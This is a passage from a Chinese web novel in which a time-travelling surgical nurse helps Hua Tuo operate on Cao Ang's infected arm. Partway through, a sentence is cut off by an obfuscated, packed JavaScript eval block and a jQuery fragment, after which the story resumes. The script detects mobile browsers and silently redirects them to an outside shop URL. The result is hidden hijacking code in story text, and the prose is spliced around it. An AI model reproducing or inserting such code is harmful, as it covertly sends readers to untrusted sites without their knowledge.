手术在曹昂的房间里进行。
曹洪亲自带人清场。
曹洪站在门口，看了华佗一眼：“华先生，我在外面。有事喊我。”
他没有说“需要什么就叫我”——他说的是“有事喊我”。在曹家的语境里，“有事”只有一个意思：出事了。
华佗点了点头，关上了门。
顾湘打开藤箱，把里面的东西一件一件地取出来，在旁边的案几上排开。
麻沸散的小瓷瓶，瓶口用蜡封着，她拔开瓶塞，倒出褐色的药粉，药粉的气味苦中带辛，像甘草和乌头混合在一起的味道。手术刀——华佗亲手打的那把柳叶刀，刀刃在油灯下反射出一道冷冽的白光。丝线，细细的、煮过的、绕在一小块竹片上。缝合针，也是华佗打的，弯月形的，针眼小得需要用丝线的一端蘸了水才能穿过去。纱布——剪成方块、叠得整整齐齐的麻布，用开水煮过、在太阳下晒过，散发着阳光和麻纤维混合的干燥气味。
一坛高度酒。酒是陈登上次来的时候带来的，据说是北方边地的烈酒，入口如刀割，顾湘尝过一小口，辣得她咳了半天。但现在，这坛酒的烈度，是她们唯一的消毒剂。
一锅煮沸过的凉开水。锅是铜锅，锅底有一层淡淡的水垢，锅沿上搭着一条干净的麻布。水已经凉了，温温的，刚好不烫手。
“消毒。”顾湘说。
这两个字在这个时代没有对应的概念。但华佗已经学会了。他走到铜锅前，先用水把手打湿，然后从坛子里舀出一碗酒，把双手浸入其中。酒液凉得刺骨，他的手指在酒里慢慢地搓洗，从指尖搓到手腕，从手掌搓到手背，指缝之间来回交叉，每一个动作都一丝不苟。酒在他粗糙的皮肤上起了泡沫，白色的、细密的泡沫，带着浓烈的酒精气味弥漫开来。
顾湘用同样的方法洗手。然后她用浸了酒的麻布擦拭手术刀。刀刃很薄，她擦得很小心，从刀背向刀刃的方向一次一次地擦，不敢来回——她怕弄伤自己，更怕弄钝了刀锋。擦完刀，擦针，擦线——丝线在酒里泡了约莫半盏茶的工夫，捞出来在干净的麻布上晾着。
两个侍从站在角落里，看得目瞪口呆。
曹昂躺在床上，面色比昨天更差了。
一夜之间，他的颧骨似乎又高了一些，眼窝又深了一些。他的嘴唇上有一层干裂的白皮，呼吸的时候喉咙里发出细微的、像风穿过枯叶的声音。他的右臂被固定在身侧，纱布上的黄色渗出液比昨天又多了，面积也大了。
顾湘走过去，从瓷瓶里倒出麻沸散的药粉，用温水调成糊状。药粉遇水后散发出一股更浓烈的苦辛味，像是泥土和草根被碾碎后泡在水里的味道。她用竹勺一勺一勺地喂进曹昂嘴里，喂完一勺，等一等，再喂一勺。
曹昂在半昏迷中吞咽，喉结上下滚动，偶尔呛咳一下。顾湘等他咳完了，擦掉他嘴角溢出的药液，再喂下一勺。
六七分钟后，曹昂的呼吸变了。
从浅快的、带杂音的呼吸，变成了深沉的、平稳的、像熟睡一样的呼吸。他的眼皮不再有快速眼动时的那种颤动，他的嘴唇松弛了，他的手指从微微蜷曲变成了自然伸展。顾湘翻开他的眼皮看了看——瞳孔缩小了，对光反射还在，但迟钝了。
麻沸散起效了。
“开始。”华佗说。
他的声音不大，但落在安静的屋子里，像一块石头砸进了深潭。那两个侍从同时绷直了身体，张侍从的手下意识地攥住了腰间的布巾，王侍从的喉结上下滚动了一下——他在咽口水。
华佗拿起刀。用三根手指捏着刀柄，食指抵在刀背上，控制刀刃的方向和深度。他的手悬在曹昂的右臂上方，刀刃离皮肤不到一寸，一动不动地停了三秒钟。
顾湘知道他为什么停。他在确认切口的位置和方向。这不是第一次手术，切口是在原有伤口的基础上进行的——他要沿着原来那条不规则的、已经坏死的创缘切开，既要完整地暴露深处的病灶，又不能损伤过多的健康组织。这个判断没有第二次机会。
刀刃落了下去。
顾湘站在他对面，正对着曹昂的右臂。她的任务是暴露视野——用无菌的麻布推开周围的软组织，挡住渗出的血液和脓液，让华佗看清楚伤口深处的情况。同时她要吸去渗出液——用麻布块按压、蘸取、吸干，保持术野的相对清洁。还要递工具——华佗一伸手，她就知道他要什么。
这是她在现代手术室里做过上千次的事。站在主刀对面，当一助，暴露，吸引，传递。她的身体记得这些动作，比她的脑子更快。她的手指自动地弯曲、伸展、夹持、递送，像一台精密的机器。
但这一次不一样。
没有无影灯。顾湘侧了侧身体，让自己的影子不落在术野上，同时用身体挡住了从门口方向射来的那束偏光。她找到了一角度，让阳光刚好照进切口的深处，像一盏天然的、免费的、永远不用担心停电的手术灯。
没有吸引器。顾湘用叠成小块的麻布块一下一下地按压、蘸取，蘸满了就换一块。湿透的麻布块在她脚边的铜盆里堆成了小山，颜色从白色变成粉红，再从粉红变成暗红。
没有拉钩。顾湘用她的左手食指和中指撑开切口的边缘，手指的指尖顶在肌肉层的表面，她能感觉到那些组织在指腹下微微地搏动——那是曹昂的动脉血在流，是生命还在继续的证据。她的手指不能用力过猛，否则会撕裂组织；也不能用力过轻，否则拉不开视野。她要找到一个刚刚好的力度，刚刚好的角度，一直保持这个姿势，保持一个时辰。
一个时辰。
她的腿在手术开始后大约半个时辰就开始发麻了。她跪在曹昂床前的地面上，一块薄薄的蒲团垫在她的膝盖下面，蒲团里的干草被压得扁扁的，硬硬的，硌得她膝盖骨生疼。她的腰弯着，脖子前伸，肩膀耸起，整个人的姿态像一只绷紧了弦的弓。她的手指因为长时间保持同一个姿势而开始痉挛——先是食指的指尖，然后是整根食指，然后是中指，像有什么东西在她的肌肉里爬，麻酥酥的，一阵一阵的。
但她不敢松手。
华
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641842|206703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
佗的手极其稳定。
他的刀锋沿着骨膜的表面游走，像一条鱼在水中穿行，精确地避开了每一根看得见的小血管。碰到小动脉的时候，他没有慌张地夹住或结扎，而是用刀背轻轻压一下，等血流慢下来，再继续。他的刮匙在骨面上移动的时候，发出一种细微的、像指甲划过粗陶的“哧哧”声——那是死骨被从活骨上剥离的声音。
“找到了。”他说。
声音很轻，但顾湘听到了。她从华佗的肩膀上方看过去——骨面上有一小块碎片，大约小指指甲盖大小，颜色发黑，与周围粉白色的健康骨质形成了鲜明的对比。碎片和骨床之间有一道细细的缝隙，缝隙里填满了灰黄色的、像豆腐渣一样的坏死物。
这就是感染的源头。一块在第一次手术中被遗漏的死骨片。
“要刮掉。”顾湘说。她的声音有点紧，因为她的手指正在抽筋，但她把这声音压得很平。
“我知道。”华佗说。
他换了一把工具——小刮匙，只有半个小指长，匙口锋利得像刀片。他把刮匙伸进那道缝隙，轻轻一撬，死骨片从骨床上脱落了。然后用刮匙的刃口在骨面上一下一下地刮，把那些灰黄色的、豆腐渣一样的坏死物一点一点地清除干净。
刮骨的声音。
顾湘以前在文献里读到过“刮骨疗毒”的故事，她以为那只是一种文学描写。但现在她亲耳听到了——那种“哧——哧——”的声音，像用铁勺刮过粗陶的底部，又像用手指甲刮过干裂的墙面。声音不大，但在安静的屋子里，它被放大成了某种让人起鸡皮疙瘩的东西。每一下刮擦，曹昂的身体都会微微地颤一下——不是意识层面的反应，而是脊髓反射，是身体在最深度的麻醉下仍然无法抑制的本能。
两个侍从的脸色已经白了。张侍从把脸别了过去，看着墙壁；王侍从还盯着看，但额头上全是细密的汗珠，一颗一颗地沿着鼻梁往下淌。
清创进行了将近一个时辰。
一个时辰里，华佗切除了所有坏死和失活的软组织，刮净了骨面上每一处可疑的病变，用酒反复冲洗创腔三次。每一次冲洗，酒液灌进去的时候，曹昂的身体都会有微弱的颤抖——酒精对裸露的神经末梢的刺激，即使在全麻状态下也无法完全阻断。冲洗液从浑浊的黄绿色慢慢变成了淡红色，最后变成了几乎清澈的淡粉色。
顾湘的膝盖已经失去了知觉。她的手指在第三次痉挛之后进入了某种麻木的状态，反而不疼了。她的腰像是被人折断了之后又胡乱接上的一样，每一节脊椎都在抗议。
但她没有松手。
最后，华佗将健康的组织对合好，一层一层地缝合。皮下用丝线间断缝合，针距均匀，每针之间间隔约两分。皮肤用丝线连续缝合，针脚整齐得像一排蚂蚁，间距相等，深浅一致。顾湘看着那些针脚，在心里默默地对比了一下她见过的那些现代外科住院医师的缝合——华佗的手艺，至少不比她带教过的任何一个人差。
“好了。”华佗放下针线，长长地呼出一口气。